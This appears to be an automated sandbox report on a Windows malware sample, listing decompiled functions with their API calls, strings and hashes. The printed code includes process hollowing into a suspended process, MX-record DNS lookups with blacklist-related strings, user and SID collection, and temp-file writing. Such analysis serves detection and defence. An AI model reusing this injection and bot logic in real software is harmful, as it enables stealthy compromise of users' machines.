GetTickCount.KERNEL32 ref: 004020DB
GetTickCount.KERNEL32 ref: 0040212B
GetTickCount.KERNEL32 ref: 00402132
GetTickCount.KERNEL32 ref: 00402142

Part of subcall function 0040F04E: SystemTimeToFileTime.KERNEL32(?,00000000,?,?,?,0040E342,00000000,7554F210,80000001,00000000,0040E513,?,?,?,?,000000E4), ref: 0040F089
Part of subcall function 0040F04E: GetSystemTimeAsFileTime.KERNEL32(80000001,?,?,?,0040E342,00000000,7554F210,80000001,00000000,0040E513,?,?,?,?,000000E4,000000C8), ref: 0040F093

Part of subcall function 0040E854: lstrcpyA.KERNEL32(00000001,?,?,0040D8DF,00000001,localcfg,except_info,00100000,00410264), ref: 0040E88B
Part of subcall function 0040E854: lstrlenA.KERNEL32(00000001,?,0040D8DF,00000001,localcfg,except_info,00100000,00410264), ref: 0040E899

Part of subcall function 00401C5F: wsprintfA.USER32 ref: 00401CE1

Strings

rbl_ip, xrefs: 0040218F
net_type, xrefs: 004021DF
rbl_bl, xrefs: 00402181
localcfg, xrefs: 00402070, 00402160, 00402186, 00402194, 004021E4

Memory Dump Source

Source File: 0000001E.00000002.410807233.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.411017543.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_952.jbxd

Yara matches

Similarity

API ID: CountTick$Time$FileSystem$lstrcpylstrlenwsprintf
String ID: localcfg$net_type$rbl_bl$rbl_ip
API String ID: 3976553417-1522128867
Opcode ID: e666061d80d691fc6b112011ec25e37af1bccbb964f924a1abaaf546849d61ae
Instruction ID: 2c4ade229706ff5e66d1d9a19171a9bb61e55472092035c31cb102c4d2320628
Opcode Fuzzy Hash: e666061d80d691fc6b112011ec25e37af1bccbb964f924a1abaaf546849d61ae
Instruction Fuzzy Hash: CF51F3706043465ED728EB21EF49B9A3BD4BB04318F10447FE605E62E2DBFC9494CA1D

Uniqueness

Uniqueness Score: -1.00%

Function 0040C2DC, Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 182
threadCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E0040C2DC(void* __ebp, signed int _a4) {
				void* _t86;
				signed int _t90;
				signed int _t91;
				long _t93;
				signed int _t95;
				signed int _t101;
				signed int _t108;
				signed int _t112;
				signed int _t115;
				long _t117;
				long _t118;
				signed int _t120;
				struct _SECURITY_ATTRIBUTES* _t122;
				signed int _t123;
				signed int _t132;
				signed int _t148;
				signed char _t151;
				signed int _t154;
				signed int _t156;
				signed char* _t157;
				void* _t158;
				signed int _t163;

				_t158 = __ebp;
				_t157 = _a4;
				E0040A4C7(_t157);
				_t122 = 0;
				if(_t157[0x44] == 0) {
					_t157[8] = 0;
					_t157[0x34] = 0;
					_t157[0x38] = 0;
					_t157[0x3c] = 0;
					_t157[0x54] = 0;
					_t157[0x40] = 0;
					_t157[0x58] = 0;
					L31:
					_t82 =  &(_t157[4]); // 0x40c4e4
					_t86 = _t82;
					_t148 =  !( *_t157) & 0x00000001;
					_t157[0x5c] = _t122;
					_t84 =  &(_t157[8]); // 0xfffffdf0
					if( *_t86 >=  *_t84) {
						L34:
						return _t86;
					}
					_t86 = CreateThread(_t122, _t122, E0040B535, InterlockedIncrement(_t86) | _t148 << 0x00000010, _t122, _t122);
					if(_t86 == _t122) {
						goto L34;
					}
					return CloseHandle(_t86);
				}
				if(_t157[8] != 0) {
					__eflags = _t157[0x48];
					if(_t157[0x48] == 0) {
						L5:
						_t12 =  &(_t157[0x10]); // 0x59be026a
						_t90 =  *_t12;
						_t157[8] = _t90;
						_t157[0x34] = _t90;
						_t91 = _t90 * 0x3e8;
						__eflags = _t91;
						_t157[0x38] = _t122;
						_t157[0x3c] = _t122;
						_t157[0x1c] = _t90 * 0x2710;
						_t157[0x20] = _t91;
						goto L6;
					}
					_t118 = GetTickCount();
					_t11 =  &(_t157[0x48]); // 0x13740041
					__eflags = _t118 -  *_t11 - 0x927c0;
					if(_t118 -  *_t11 < 0x927c0) {
						goto L6;
					}
					goto L5;
				} else {
					_t4 =  &(_t157[0xc]); // 0x5756c359
					_t120 =  *_t4;
					_t157[0x1c] = _t120 * 0x2710;
					_t157[8] = _t120;
					_t157[0x20] = _t120 * 0x3e8;
					_t157[0x34] = _t120;
					_t157[0x48] = GetTickCount();
					L6:
					if(( *_t157 & 0x00000001) == 0) {
						_t73 =  &(_t157[0x34]); // 0xa1c35e5f
						_t157[8] =  *_t73;
						goto L31;
					}
					_t93 = GetTickCount();
					_t21 =  &(_t157[0x4c]); // 0x26fce850
					if(_t93 -  *_t21 >= 0x2710) {
						goto L31;
					}
					if(_t157[0x54] == _t122) {
						_t95 = 0x3e8;
					} else {
						_t117 = GetTickCount();
						_t23 =  &(_t157[0x54]); // 0x41366c1d
						_t95 = _t117 -  *_t23;
					}
					_t123 = _t95;
					if(_t95 < 1) {
						_t123 = 1;
					}
					if(_t123 > 0x4e20) {
						_t123 = 0x4e20;
					}
					_t24 =  &(_t157[0x58]); // 0x701d8900
					_t25 =  &(_t157[0x40]); // 0x74c33b57
					_t151 =  *_t25;
					_t132 =  *_t24 * 0x3e8;
					_push(_t158);
					asm("cdq");
					_push(0x14);
					_a4 = _t123;
					asm("cdq");
					_t101 = (_t132 - _t151) * _t123 / 0x3e8 / 0x3e8;
					if(_t101 == 0) {
						__eflags = _t132 - _t151;
						if(__eflags == 0) {
							goto L22;
						}
						if(__eflags >= 0) {
							_t156 = _t151 + 1;
							__eflags = _t156;
						} else {
							_t156 = _t151 - 1;
						}
						goto L21;
					} else {
						_t156 = _t151 + _t101;
						L21:
						_t157[0x40] = _t156;
						L22:
						if(_t157[0x40] < 0) {
							_t157[0x40] = _t157[0x40] & 0x00000000;
						}
						_t39 =  &(_t157[0x40]); // 0x74c33b57
						_t163 = (0xc8 -  *_t39) * 0x14;
						if(_t123 > 0x3e8) {
							_a4 = 0x3e8;
						}
						asm("cdq");
						_t46 =  &(_t157[0x14]); // 0x5f004120
						_t47 =  &(_t157[0x10]); // 0x59be026a
						asm("cdq");
						_t49 =  &(_t157[0x30]); // 0xe4754f45
						_t54 =  &(_t157[0x20]); // 0x406a0000
						_t108 = E0040A505(_t163 * _a4 / 0x3e8 /  *_t49 +  *_t54,  *_t47 * 0x3e8,  *_t46 * 0x3e8);
						asm("cdq");
						_t56 =  &(_t157[0x2c]); // 0xc68314c4
						_t157[0x20] = _t108;
						_t112 = E0040A505(_t163 /  *_t56 + _t108,  *_t47 * 0x3e8,  *_t46 * 0x3e8);
						asm("cdq");
						_t122 = 0;
						_t157[0x58] = 0;
						_t154 = _t112 / 0x3e8;
						_t157[0x54] = GetTickCount();
						_t68 =  &(_t157[0x34]); // 0xa1c35e5f
						_t115 =  *_t68;
						if(_t115 <= _t154) {
							_t157[8] = _t115;
							_t157[0x20] = _t115 * 0x3e8;
						} else {
							_t157[8] = _t154;
							_t157[0x1c] = _t154 * 0x2710;
						}
						goto L31;
					}
				}
			}

0x0040c2dc
0x0040c2de
0x0040c2e4
0x0040c2e9
0x0040c2ef
0x0040c482
0x0040c485
0x0040c488
0x0040c48b
0x0040c48e
0x0040c491
0x0040c494
0x0040c497
0x0040c499
0x0040c499
0x0040c4a0
0x0040c4a3
0x0040c4a6
0x0040c4a9
0x0040c4d5
0x0040c4d5
0x0040c4d5
0x0040c4c1
0x0040c4c9
0x00000000
0x00000000
0x00000000
0x0040c4cc
0x0040c2fe
0x0040c326
0x0040c329
0x0040c337
0x0040c337
0x0040c337
0x0040c342
0x0040c345
0x0040c348
0x0040c348
0x0040c34e
0x0040c351
0x0040c354
0x0040c357
0x00000000
0x0040c357
0x0040c32b
0x0040c32d
0x0040c330
0x0040c335
0x00000000
0x00000000
0x00000000
0x0040c300
0x0040c300
0x0040c300
0x0040c30b
0x0040c316
0x0040c319
0x0040c31c
0x0040c321
0x0040c35a
0x0040c35d
0x0040c47a
0x0040c47d
0x00000000
0x0040c47d
0x0040c363
0x0040c365
0x0040c36d
0x00000000
0x00000000
0x0040c376
0x0040c37f
0x0040c378
0x0040c378
0x0040c37a
0x0040c37a
0x0040c37a
0x0040c384
0x0040c389
0x0040c38d
0x0040c38d
0x0040c395
0x0040c397
0x0040c397
0x0040c399
0x0040c39c
0x0040c39c
0x0040c39f
0x0040c3ac
0x0040c3ad
0x0040c3b5
0x0040c3b8
0x0040c3bc
0x0040c3bd
0x0040c3c1
0x0040c3c7
0x0040c3c9
0x00000000
0x00000000
0x0040c3cb
0x0040c3d0
0x0040c3d0
0x0040c3cd
0x0040c3cd
0x0040c3cd
0x00000000
0x0040c3c3
0x0040c3c3
0x0040c3d1
0x0040c3d1
0x0040c3d4
0x0040c3d8
0x0040c3da
0x0040c3da
0x0040c3e3
0x0040c3eb
0x0040c3f0
0x0040c3f2
0x0040c3f2
0x0040c3fd
0x0040c405
0x0040c408
0x0040c419
0x0040c41a
0x0040c41d
0x0040c421
0x0040c42a
0x0040c42b
0x0040c430
0x0040c436
0x0040c43b
0x0040c443
0x0040c448
0x0040c44b
0x0040c453
0x0040c456
0x0040c456
0x0040c45c
0x0040c46c
0x0040c475
0x0040c45e
0x0040c45e
0x0040c467
0x0040c467
0x00000000
0x0040c45c
0x0040c3c1

APIs

Part of subcall function 0040A4C7: GetTickCount.KERNEL32 ref: 0040A4D1
Part of subcall function 0040A4C7: InterlockedExchange.KERNEL32(?,00000001), ref: 0040A4FA

GetTickCount.KERNEL32 ref: 0040C31F
GetTickCount.KERNEL32 ref: 0040C32B
GetTickCount.KERNEL32 ref: 0040C363
GetTickCount.KERNEL32 ref: 0040C378
GetTickCount.KERNEL32 ref: 0040C44D
InterlockedIncrement.KERNEL32(0040C4E4), ref: 0040C4AE
CreateThread.KERNEL32 ref: 0040C4C1
CloseHandle.KERNEL32(00000000,?,0040C4E0,00413588,00408810), ref: 0040C4CC

Strings

localcfg, xrefs: 0040C2DD

Memory Dump Source

Source File: 0000001E.00000002.410807233.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.411017543.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_952.jbxd

Yara matches

Similarity

API ID: CountTick$Interlocked$CloseCreateExchangeHandleIncrementThread
String ID: localcfg
API String ID: 1553760989-1857712256
Opcode ID: afac293e63498dd1283f128a7be93ce9089d2193a9ff6ee31ee25d998cb0b475
Instruction ID: d79c9f10581ee3273b6165e92ba068ddd4f199cf4cd09fd02743c11af2233124
Opcode Fuzzy Hash: afac293e63498dd1283f128a7be93ce9089d2193a9ff6ee31ee25d998cb0b475
Instruction Fuzzy Hash: 0E515CB1A00B41CFC7249F6AC5D552ABBE9FB48304B509A3FE58BD7A90D778F8448B14

Uniqueness

Uniqueness Score: -1.00%

Function 00402D21, Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 85
memorylibrarystringCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E00402D21(intOrPtr _a4) {
				long _v8;
				long _v12;
				void* _v16;
				char _v28;
				struct HINSTANCE__* _t19;
				_Unknown_base(*)()* _t20;
				long* _t30;
				intOrPtr* _t37;
				long _t39;
				long _t40;
				void* _t41;

				asm("movsd");
				asm("movsd");
				asm("movsw");
				asm("movsb");
				_t19 = GetModuleHandleA( &_v28);
				_t39 = 0;
				if(_t19 != 0) {
					L3:
					_t20 = GetProcAddress(_t19, "DnsQuery_A");
					if(_t20 == _t39) {
						L2:
						return 0;
					}
					_push(_t39);
					_t35 =  &_v16;
					_push( &_v16);
					_push(_t39);
					_push(_t39);
					_push(0xf);
					_push(_a4);
					if( *_t20() != 0) {
						goto L2;
					}
					_t37 = _v16;
					_v8 = _t39;
					_v12 = _t39;
					if(_t37 == _t39) {
						L14:
						return _v12;
					}
					do {
						if( *((short*)(_t37 + 8)) != 0xf) {
							goto L12;
						}
						_t40 = HeapAlloc(GetProcessHeap(), _t39, 0x108);
						if(_t40 == 0) {
							break;
						}
						E0040EE2A(_t35, _t40, 0, 0x108);
						_t41 = _t41 + 0xc;
						 *(_t40 + 4) =  *(_t37 + 0x1c) & 0x0000ffff;
						_t13 = _t40 + 8; // 0x8
						lstrcpynA(_t13,  *(_t37 + 0x18), 0xff);
						_t30 = _v8;
						_v8 = _t40;
						if(_t30 != 0) {
							 *_t30 = _t40;
						} else {
							_v12 = _t40;
						}
						L12:
						_t37 =  *_t37;
						_t39 = 0;
					} while (_t37 != 0);
					goto L14;
				}
				_t19 = LoadLibraryA( &_v28);
				if(_t19 != 0) {
					goto L3;
				}
				goto L2;
			}

0x00402d31
0x00402d32
0x00402d33
0x00402d39
0x00402d3a
0x00402d40
0x00402d44
0x00402d5b
0x00402d61
0x00402d69
0x00402d54
0x00000000
0x00402d54
0x00402d6b
0x00402d6c
0x00402d6f
0x00402d70
0x00402d71
0x00402d72
0x00402d74
0x00402d7b
0x00000000
0x00000000
0x00402d7d
0x00402d80
0x00402d83
0x00402d88
0x00402deb
0x00000000
0x00402deb
0x00402d90
0x00402d95
0x00000000
0x00000000
0x00402da6
0x00402daa
0x00000000
0x00000000
0x00402db0
0x00402db9
0x00402dc1
0x00402dc7
0x00402dcb
0x00402dd1
0x00402dd4
0x00402dd9
0x00402de0
0x00402ddb
0x00402ddb
0x00402ddb
0x00402de2
0x00402de2
0x00402de4
0x00402de6
0x00000000
0x00402dea
0x00402d4a
0x00402d52
0x00000000
0x00000000
0x00000000

APIs

GetModuleHandleA.KERNEL32(00000000,7519EA30,?,00000000,00402F01,?,004020FF,00412000), ref: 00402D3A
LoadLibraryA.KERNEL32(?), ref: 00402D4A
GetProcAddress.KERNEL32(00000000,DnsQuery_A), ref: 00402D61
GetProcessHeap.KERNEL32(00000000,00000108,000DBBA0), ref: 00402D99
HeapAlloc.KERNEL32(00000000), ref: 00402DA0
lstrcpynA.KERNEL32(00000008,?,000000FF), ref: 00402DCB

Strings

dnsapi.dll, xrefs: 00402D29
DnsQuery_A, xrefs: 00402D5B

Memory Dump Source

Source File: 0000001E.00000002.410807233.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.411017543.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_952.jbxd

Yara matches

Similarity

API ID: Heap$AddressAllocHandleLibraryLoadModuleProcProcesslstrcpyn
String ID: DnsQuery_A$dnsapi.dll
API String ID: 3560063639-3847274415
Opcode ID: d4096c20dd1105e3ef32148a9c5654c80b560ad64ac552135804a6a2b7bfb5e3
Instruction ID: e5e1ee734cbcfb8ca4eff609f7c37a2f42b45bda1feb54b0ffc2340cedddb21a
Opcode Fuzzy Hash: d4096c20dd1105e3ef32148a9c5654c80b560ad64ac552135804a6a2b7bfb5e3
Instruction Fuzzy Hash: 25214F7190022AABCB11AB55DD48AEFBBB8EF08750F104432F905B7290D7F49E8587D8

Uniqueness

Uniqueness Score: -1.00%

Function 00406CC9, Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 84
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E00406CC9(void* __ecx) {
				_Unknown_base(*)()* _t8;
				CHAR* _t17;
				void* _t18;
				void* _t23;
				char _t25;
				void* _t34;

				_t23 = __ecx;
				if( *0x412e08 != 0) {
					L14:
					return 0x412e08;
				}
				_t8 = GetProcAddress(GetModuleHandleA("kernel32"), "GetSystemWow64DirectoryA");
				if(_t8 == 0) {
					L4:
					if(GetSystemDirectoryA(0x412e08, 0x104) == 0 ||  *0x412e08 == 0) {
						if(GetWindowsDirectoryA(0x412e08, 0x104) == 0 ||  *0x412e08 == 0) {
							E0040EF00(0x412e08, E00402544(0x4122f8, 0x410664, 0xb, 0xe4, 0xc8));
							E0040EE2A(_t23, 0x4122f8, 0, 0x100);
							_t34 = _t34 + 0x28;
						}
						E0040EF1E(0x412e08, E00402544(0x4122f8, 0x410658, 0xb, 0xe4, 0xc8));
						E0040EE2A(_t23, 0x4122f8, 0, 0x100);
					}
					L10:
					_t17 = 0x412e08;
					goto L11;
					L11:
					_t25 =  *_t17;
					_t17 =  &(_t17[1]);
					if(_t25 != 0) {
						goto L11;
					} else {
						_t18 = _t17 - 0x412e09;
						if( *((char*)(_t18 + 0x412e07)) != 0x5c) {
							 *((char*)(_t18 + 0x412e08)) = 0x5c;
							 *((char*)(_t18 + 0x412e09)) = _t25;
						}
						goto L14;
					}
				}
				_push(0x104);
				_push(0x412e08);
				if( *_t8() == 0 ||  *0x412e08 == 0) {
					goto L4;
				} else {
					goto L10;
				}
			}

0x00406cc9
0x00406cd6
0x00406dbe
0x00406dc1
0x00406dc1
0x00406cee
0x00406cfb
0x00406d12
0x00406d1c
0x00406d40
0x00406d60
0x00406d69
0x00406d6e
0x00406d6e
0x00406d86
0x00406d8f
0x00406d98
0x00406d99
0x00406d99
0x00406d9e
0x00406d9f
0x00406d9f
0x00406da1
0x00406da4
0x00000000
0x00406da6
0x00406da6
0x00406daf
0x00406db1
0x00406db8
0x00406db8
0x00000000
0x00406daf
0x00406da4
0x00406cfd
0x00406cfe
0x00406d03
0x00000000
0x00000000
0x00000000
0x00000000

APIs

GetModuleHandleA.KERNEL32(kernel32,GetSystemWow64DirectoryA,PromptOnSecureDesktop,000000E4,00406DDC,000000C8), ref: 00406CE7
GetProcAddress.KERNEL32(00000000), ref: 00406CEE
GetSystemDirectoryA.KERNEL32 ref: 00406D14
GetWindowsDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104,?,00000000), ref: 00406D2B

Strings

PromptOnSecureDesktop, xrefs: 00406CDC, 00406D36, 00406D58, 00406D68, 00406D7E, 00406D8E
C:\Windows\SysWOW64\, xrefs: 00406CC9, 00406CD1, 00406CFE, 00406D05, 00406D13, 00406D1E, 00406D2A, 00406D42, 00406D5F, 00406D85
GetSystemWow64DirectoryA, xrefs: 00406CDD
kernel32, xrefs: 00406CE2

Memory Dump Source

Source File: 0000001E.00000002.410807233.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.411017543.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_952.jbxd

Yara matches

Similarity

API ID: Directory$AddressHandleModuleProcSystemWindows
String ID: C:\Windows\SysWOW64\$GetSystemWow64DirectoryA$PromptOnSecureDesktop$kernel32
API String ID: 1082366364-2834986871
Opcode ID: 174e8731fdbdc44ab974895aa40a4ab233de6b35a5efa5658db69bb206ac9e39
Instruction ID: 283af98db633f334a3c96cb566aa979ace8a56c3c0d7b64ee1e11c7fdc897f47
Opcode Fuzzy Hash: 174e8731fdbdc44ab974895aa40a4ab233de6b35a5efa5658db69bb206ac9e39
Instruction Fuzzy Hash: AC21F26174034479F72157225D89FF72E4C8F52744F19407AF804B62D2CAED88E582AD

Uniqueness

Uniqueness Score: -1.00%

Function 0040977C, Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 82
threadinjectionprocessCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E0040977C(void* __ecx, CHAR* _a4) {
				struct _PROCESS_INFORMATION _v20;
				void _v24;
				char _v28;
				struct _STARTUPINFOA _v96;
				struct _CONTEXT _v812;
				void* _t33;

				_t46 = __ecx;
				E0040EE2A(__ecx,  &_v96, 0, 0x44);
				_v96.cb = 0x44;
				if(CreateProcessA(0, _a4, 0, 0, 0, 4, 0, 0,  &_v96,  &_v20) != 0) {
					E0040EE2A(_t46,  &_v812, 0, 0x2cc);
					_v812.ContextFlags = 0x10002;
					if(GetThreadContext(_v20.hThread,  &_v812) != 0) {
						_t33 = E0040637C(_entry_, _v20.hProcess,  &_v28,  &_v24);
						_push(0);
						if(_t33 == 0) {
							L4:
							TerminateProcess(_v20.hProcess, ??);
							goto L1;
						}
						if(WriteProcessMemory(_v20, _v812.Ebx + 8,  &_v24, 4, ??) == 0) {
							goto L3;
						}
						_v812.Eax = _v28;
						if(SetThreadContext(_v20.hThread,  &_v812) == 0) {
							goto L3;
						}
						ResumeThread(_v20.hThread);
						return 1;
					}
					L3:
					_push(0);
					goto L4;
				}
				L1:
				return 0;
			}

0x0040977c
0x0040978f
0x004097a9
0x004097b9
0x004097cf
0x004097e1
0x004097f3
0x00409811
0x00409819
0x0040981c
0x004097f6
0x004097f9
0x00000000
0x004097f9
0x00409839
0x00000000
0x00000000
0x0040983e
0x00409856
0x00000000
0x00000000
0x0040985b
0x00000000
0x00409863
0x004097f5
0x004097f5
0x00000000
0x004097f5
0x004097bb
0x00000000

APIs

CreateProcessA.KERNEL32 ref: 004097B1
GetThreadContext.KERNEL32(?,?,?,?,?,?,?,PromptOnSecureDesktop), ref: 004097EB
TerminateProcess.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,PromptOnSecureDesktop), ref: 004097F9
WriteProcessMemory.KERNEL32(?,?,?,00000004,00000000,?,?,?,?,?,?,?,?,?,PromptOnSecureDesktop), ref: 00409831
SetThreadContext.KERNEL32(?,00010002,?,?,?,?,?,?,?,?,?,PromptOnSecureDesktop), ref: 0040984E
ResumeThread.KERNEL32(?,?,?,?,?,?,?,?,?,?,PromptOnSecureDesktop), ref: 0040985B

Strings

PromptOnSecureDesktop, xrefs: 00409785
D, xrefs: 004097A9

Memory Dump Source

Source File: 0000001E.00000002.410807233.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.411017543.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_952.jbxd

Yara matches

Similarity

API ID: ProcessThread$Context$CreateMemoryResumeTerminateWrite
String ID: D$PromptOnSecureDesktop
API String ID: 2981417381-1403908072
Opcode ID: bfc8fb38e21afcc8978dd871529b03129cc6a272bb135abfd583736d5c6f917f
Instruction ID: 6dc29e085b1385aad622296cf5a9b119a202239bcf48ce0aeeb22bf7d7f748db
Opcode Fuzzy Hash: bfc8fb38e21afcc8978dd871529b03129cc6a272bb135abfd583736d5c6f917f
Instruction Fuzzy Hash: 54216DB2901119BBDB119FA1DC49EEF7B7CEF05750F004071B909F2191EB759A44CAA8

Uniqueness

Uniqueness Score: -1.00%

Function 00406F5F, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 89
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E00406F5F(long _a4, long _a8) {
				void* _v8;
				long _v12;
				union _SID_NAME_USE _v16;
				void _v84;
				char _v212;
				CHAR* _t36;
				void* _t53;
				intOrPtr* _t54;
				char _t62;
				void* _t65;
				char* _t66;
				intOrPtr _t67;
				CHAR* _t68;
				void* _t69;

				_t68 = _a4;
				 *_t68 = 0;
				if(GetUserNameA(_t68,  &_a8) == 0) {
					return 0;
				}
				_t36 = _t68;
				_t66 =  &(_t36[1]);
				do {
					_t62 =  *_t36;
					_t36 =  &(_t36[1]);
				} while (_t62 != 0);
				_a8 = _t36 - _t66;
				_a4 = 0x7c;
				_v12 = 0x80;
				if(LookupAccountNameA(0, _t68,  &_v84,  &_a4,  &_v212,  &_v12,  &_v16) == 0) {
					L8:
					_a8 = _a8 + wsprintfA( &(_t68[_a8]), "/%d", E00406EDD());
					return _a8;
				}
				E0040EF00( &(_t68[_a8]), "/");
				_a8 = _a8 + 1;
				_push( &_v8);
				_t53 =  &_v84;
				_push(_t53);
				L0040F4AA();
				if(_t53 == 0) {
					goto L8;
				}
				_t54 = _v8;
				_t20 = _t54 + 1; // 0x121
				_t65 = _t20;
				do {
					_t67 =  *_t54;
					_t54 = _t54 + 1;
				} while (_t67 != 0);
				_a4 = _t54 - _t65;
				E0040EE08( &(_t68[_a8]), _v8, _t54 - _t65 + 1);
				_a8 = _a8 + _a4;
				_t69 = _t69 + 0xc;
				LocalFree(_v8);
				goto L8;
			}

0x00406f6c
0x00406f77
0x00406f82
0x00000000
0x00407047
0x00406f88
0x00406f8a
0x00406f8d
0x00406f8d
0x00406f8f
0x00406f90
0x00406f96
0x00406fb3
0x00406fba
0x00406fc9
0x00407025
0x0040703f
0x00000000
0x00407042
0x00406fd6
0x00406fdb
0x00406fe3
0x00406fe4
0x00406fe7
0x00406fe8
0x00406fef
0x00000000
0x00000000
0x00406ff1
0x00406ff4
0x00406ff4
0x00406ff7
0x00406ff7
0x00406ff9
0x00406ffa
0x00407000
0x0040700e
0x00407016
0x00407019
0x0040701f
0x00000000

APIs

GetUserNameA.ADVAPI32(?,0040D7C3), ref: 00406F7A
LookupAccountNameA.ADVAPI32(00000000,?,?,?,?,?,0040D7C3), ref: 00406FC1
ConvertSidToStringSidA.ADVAPI32(?,00000120), ref: 00406FE8
LocalFree.KERNEL32(00000120), ref: 0040701F
wsprintfA.USER32 ref: 00407036

Strings

/%d, xrefs: 00407030
|, xrefs: 00406FB3

Memory Dump Source

Source File: 0000001E.00000002.410807233.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.411017543.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_952.jbxd

Yara matches

Similarity

API ID: Name$AccountConvertFreeLocalLookupStringUserwsprintf
String ID: /%d$|
API String ID: 676856371-4124749705
Opcode ID: a4e95b79f46088df25ad898cee238acd61ae00be348fc6b2bdbab1b8b404bd7d
Instruction ID: 25602f0bb6ce76eb5d01febd46d0227a680cec7408ef54ec30c82d1084126da1
Opcode Fuzzy Hash: a4e95b79f46088df25ad898cee238acd61ae00be348fc6b2bdbab1b8b404bd7d
Instruction Fuzzy Hash: B5313C72900209BFDB01DFA5DC45BDB7BBCEF04314F048166F949EB241DA79EA588B98

Uniqueness

Uniqueness Score: -1.00%

Function 00406BA7, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 84
COMMON

Download Yara Rule

C-Code - Quality: 43%

			E00406BA7(CHAR* _a4) {
				long _v8;
				long _v12;
				long _t14;
				int _t19;
				void* _t28;
				void* _t39;

				_push(_t30);
				if(IsBadCodePtr( *0x4130ac) == 0) {
					_push( &_v8);
					_push(0);
					if( *0x4130ac() == 0) {
						_t28 = E0040EBCC(_v8);
						if(_t28 == 0) {
							L7:
							_t14 = 0;
						} else {
							_push( &_v8);
							_push(_t28);
							if( *0x4130ac() == 0) {
								_v12 = 0;
								_t39 = CreateFileA(_a4, 0x40000000, 0, 0, 2, 0x80, 0);
								if(_t39 != 0xffffffff) {
									_t19 = WriteFile(_t39, _t28, _v8,  &_v12, 0);
									_push(_t39);
									if(_t19 != 0) {
										CloseHandle();
										E0040EC2E(_t28);
										_t14 = _v8;
									} else {
										CloseHandle();
										DeleteFileA(_a4);
										goto L9;
									}
								} else {
									L9:
									E0040EC2E(_t28);
									_t14 = 0;
								}
							} else {
								E0040EC2E(_t28);
								goto L7;
							}
						}
					} else {
						_t14 = 0;
					}
					return _t14;
				} else {
					return 0;
				}
			}

0x00406bab
0x00406bba
0x00406bc4
0x00406bc7
0x00406bd2
0x00406be4
0x00406be9
0x00406c03
0x00406c03
0x00406beb
0x00406bee
0x00406bef
0x00406bfa
0x00406c1a
0x00406c23
0x00406c28
0x00406c3e
0x00406c44
0x00406c47
0x00406c5a
0x00406c61
0x00406c66
0x00406c49
0x00406c49
0x00406c52
0x00000000
0x00406c52
0x00406c2a
0x00406c2a
0x00406c2b
0x00406c30
0x00406c30
0x00406bfc
0x00406bfd
0x00000000
0x00406c02
0x00406bfa
0x00406bd4
0x00406bd4
0x00406bd4
0x00406c6e
0x00406bbc
0x00406bbf
0x00406bbf

APIs

IsBadCodePtr.KERNEL32 ref: 00406BB2

Strings

PromptOnSecureDesktop, xrefs: 00406BC0

Memory Dump Source

Source File: 0000001E.00000002.410807233.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.411017543.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_952.jbxd

Yara matches

Similarity

API ID: Code
String ID: PromptOnSecureDesktop
API String ID: 3609698214-2980165447
Opcode ID: 39c3a5a53f78f07926ecb9a894269625e93d17a87676cf1a9de91011702fa4cf
Instruction ID: deae59b9a6c18e17a8054c2740d34a6eafe128a66e3352cd220e92de8f8b68f4
Opcode Fuzzy Hash: 39c3a5a53f78f07926ecb9a894269625e93d17a87676cf1a9de91011702fa4cf
Instruction Fuzzy Hash: D7218B72208115FFEB10ABB1ED49EDF3EACDB08364B218436F543F1091EA799A50966C

Uniqueness

Uniqueness Score: -1.00%

Function 00409064, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 83
filestringCOMMON

Download Yara Rule

C-Code - Quality: 63%

			E00409064(void* __eflags, void* _a4, CHAR* _a8) {
				long _v8;
				char _v1032;
				signed int _t29;
				signed int _t62;
				void* _t64;

				GetTempPathA(0x400,  &_v1032);
				E00408274( &_v1032);
				_t29 = E0040ECA5();
				_t62 = 9;
				_push(_t29 % _t62);
				_push(E0040ECA5() % _t62);
				_push(E0040ECA5() % _t62);
				_push(E0040ECA5() % _t62);
				_push( &_v1032);
				wsprintfA(_a8, E00402544(0x4122f8, 0x410794, 0xf, 0xe4, 0xc8));
				E0040EE2A(_t62, 0x4122f8, 0, 0x100);
				_t64 = CreateFileA(_a8, 0x40000000, 0, 0, 2, 0, 0);
				if(_t64 <= 0) {
					return 0;
				}
				WriteFile(_t64, _a4, lstrlenA(_a4),  &_v8, 0);
				CloseHandle(_t64);
				return 1;
			}

0x0040907b
0x00409088
0x0040908e
0x00409095
0x0040909c
0x004090a8
0x004090b4
0x004090c9
0x004090ca
0x004090e9
0x004090f8
0x00409114
0x00409118
0x00000000
0x0040913f
0x0040912d
